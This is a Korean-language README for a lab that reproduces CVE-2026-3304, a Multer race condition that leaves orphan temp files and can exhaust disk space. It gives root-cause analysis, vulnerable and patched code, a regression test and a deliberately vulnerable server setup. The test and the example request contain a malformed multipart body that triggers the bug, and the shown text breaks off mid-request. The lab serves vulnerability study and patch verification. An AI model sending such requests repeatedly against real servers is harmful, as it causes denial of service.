
# CVE-2026-3304 재현 실험실 Multer의 비동기 fileFilter 경쟁 조건으로 인해 고아 임시 파일을 통해 디스크가 고갈되는 취약점을 재현하는 실험실입니다. 취약한 Docker 서버와 패치된 Docker 서버, 익스플로잇 스크립트, 근본 원인 분석을 포함합니다.
교육 및 연구 목적으로만 사용하십시오. 승인 없이 시스템을 공격하는 것은 불법입니다.
이 실습 환경은 Multer 2.1.0 패치와 공식 테스트 코드를 분석하여 구축되었습니다. 취약한 서버는 패치 테스트에 설명된 정확한 조건을 재현하며, 패치된 서버는 Multer 2.1.0을 실행하여 수정 사항이 작동하는지 확인합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2026-3304 |
| 대상 | Multer < 2.1.0 (Node.js multipart/form-data 미들웨어) |
| 유형 | DoS — 고아 파일(불완전한 임시 파일 정리) |
| CWE | CWE-459: 불완전한 정리 |
| CVSS 4.0 | 8.7 높음 |
| 패치 버전 | Multer 2.1.0 |
파일 부분에 name 속성이 없는 잘못된 multipart 요청으로 인해 Multer가 디스크에 임시 파일을 생성하지만 정리하지 않습니다. 반복적인 요청으로 디스크 공간이 고갈되어 서비스 거부(DoS)가 발생합니다.
취약점은 multer/lib/make-middleware.js 내부의 fileFilter 콜백 처리 흐름에서 발생합니다.
Multer가 multipart 요청을 부분별로 스트리밍하고 파싱할 때 다음 순서가 발생합니다:
[파싱 이벤트 순서 — 취약한 버전]
1. 파트 1 헤더 수신
→ fileFilter(req, file, cb) 호출
→ setImmediate(cb) → 콜백이 다음 이벤트 루프 틱으로 지연됨
2. 파트 1 본문 수신
→ /tmp/uploads/<uuid> 열림, 데이터 쓰기 시작
3. 파트 2 헤더 수신 (name 속성 누락)
→ Multer가 'name 누락' 감지
→ errorOccured = true ← 오류 플래그 설정
→ abortWithCode('LIMIT_FIELD_KEY') 호출 → HTTP 500 예약됨
4. setImmediate 콜백 실행 (다음 이벤트 루프 틱)
→ fileFilter 결과: includeFile = true (정상 흐름)
→ [버그] errorOccured 플래그가 확인되지 않음
→ storage._handleFile() 호출 → 임시 파일이 디스크에 커밋됨
5. HTTP 500 응답 전송
→ 임시 파일이 디스크에 남음 (고아 파일)
make-middleware.js — Multer < 2.1.0)// fileFilter 완료 콜백 (setImmediate로 지연됨)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured가 여기서 확인되지 않음
// 파트 2를 파싱하는 동안 오류가 설정되었더라도 실행이 계속됨
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// 임시 파일이 uploadedFiles에 등록되고 디스크에 남음
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
왜 setImmediate가 문제인가?
fileFilter를 setImmediate로 감싸면 콜백이 다음 이벤트 루프 틱으로 지연됩니다.
그 창에서 busboy(multipart 파서)는 다음 파트의 헤더를 계속 파싱하고,
누락된 name을 발견하여 errorOccured = true를 설정합니다.
콜백이 재개될 때 오류 상태는 이미 설정되어 있지만 코드는 이를 확인하지 않으므로
storage._handleFile이 무조건 호출되고 임시 파일이 디스크에 기록됩니다.
수정 커밋: 739919097d
fileFilter 콜백 진입 직후, storage._handleFile에 도달하기 전에
단일 if (errorOccured) 가드가 추가되었습니다.
// fileFilter 완료 콜백 (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [패치] 진행 전에 errorOccured 확인
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // 스트림 드레인 — 디스크에 파일 기록 안 함
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| 항목 | 취약 (< 2.1.0) | 패치됨 (2.1.0) |
|---|---|---|
errorOccured 확인 | ❌ 확인 안 함 | ✅ 콜백 진입 시 즉시 확인 |
오류 시 _handleFile 호출 | 예 | 차단됨 |
| 임시 파일 정리 | ❌ 누락 | ✅ fileStream.resume() 통해 |
| 요청당 고아 파일 | 1 | 0 |
fileStream.resume()이 정리하는 이유:
fileStream.resume()을 호출하면 스트림을 DiskStorage에 전달하지 않고 드레인 및 폐기하므로
파일이 기록되지 않고 디스크에 아무것도 남지 않습니다.
Multer 팀은 수정 사항을 검증하기 위해 2.1.0 패치에 다음 Mocha 테스트를 포함했습니다.
이 테스트는 이 실습 환경의 청사진이 되었습니다 — 취약한 서버는
여기에 설명된 정확한 설정(setImmediate fileFilter + 잘못된 multipart 요청)을 재현하며,
예상 동작은 취약한 버전과 패치된 버전 모두에 대해 검증됩니다.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| 단언 | 의미 |
|---|---|
res.statusCode === 400 | Multer가 잘못된 요청을 올바르게 거부함 |
files.length === 0 | 디스크에 고아 파일이 남지 않음 (패치 검증됨) |
취약한 버전(< 2.1.0)에서는 files.length가 1이 되어 단언이 실패합니다.
이 실습은 위의 패치 테스트 설정을 직접 반영합니다.
취약한 서버 (Dockerfile + app/server.js)는 setImmediate를 사용하는 비동기 fileFilter와 함께
Multer 2.0.2를 실행합니다 — 패치 테스트의 정확한 트리거 조건입니다:
// app/server.js — 패치 테스트의 취약점 트리거를 재현
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← 콜백을 지연시켜 경쟁 조건 생성
cb(null, true)
})
}
})
패치된 서버 (Dockerfile.patched)는 동일한 server.js를 실행하지만 Multer 2.1.0을 설치하여
errorOccured 가드가 적용됩니다 — 패치 테스트의 예상 통과 상태와 일치합니다.
| 서버 | 포트 | Multer | 예상 동작 |
|---|---|---|---|
| 취약 | 3000 | 2.0.2 | 잘못된 요청마다 고아 파일 생성 |
| 패치됨 | 3001 | 2.1.0 | 고아 파일 없음 — 정리가 올바르게 작동 |
참고:
fileFilter를 동기식으로 전환하면(setImmediate제거) Multer < 2.1.0에서도 고아 파일이 생성되지 않습니다. 취약점이 발생하려면 두 가지 조건이 모두 필요합니다: 비동기fileFilter및 누락된errorOccured확인.
공격은 두 번째 부분에 필수 name 속성이 없는 multipart/form-data POST를 전송합니다.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary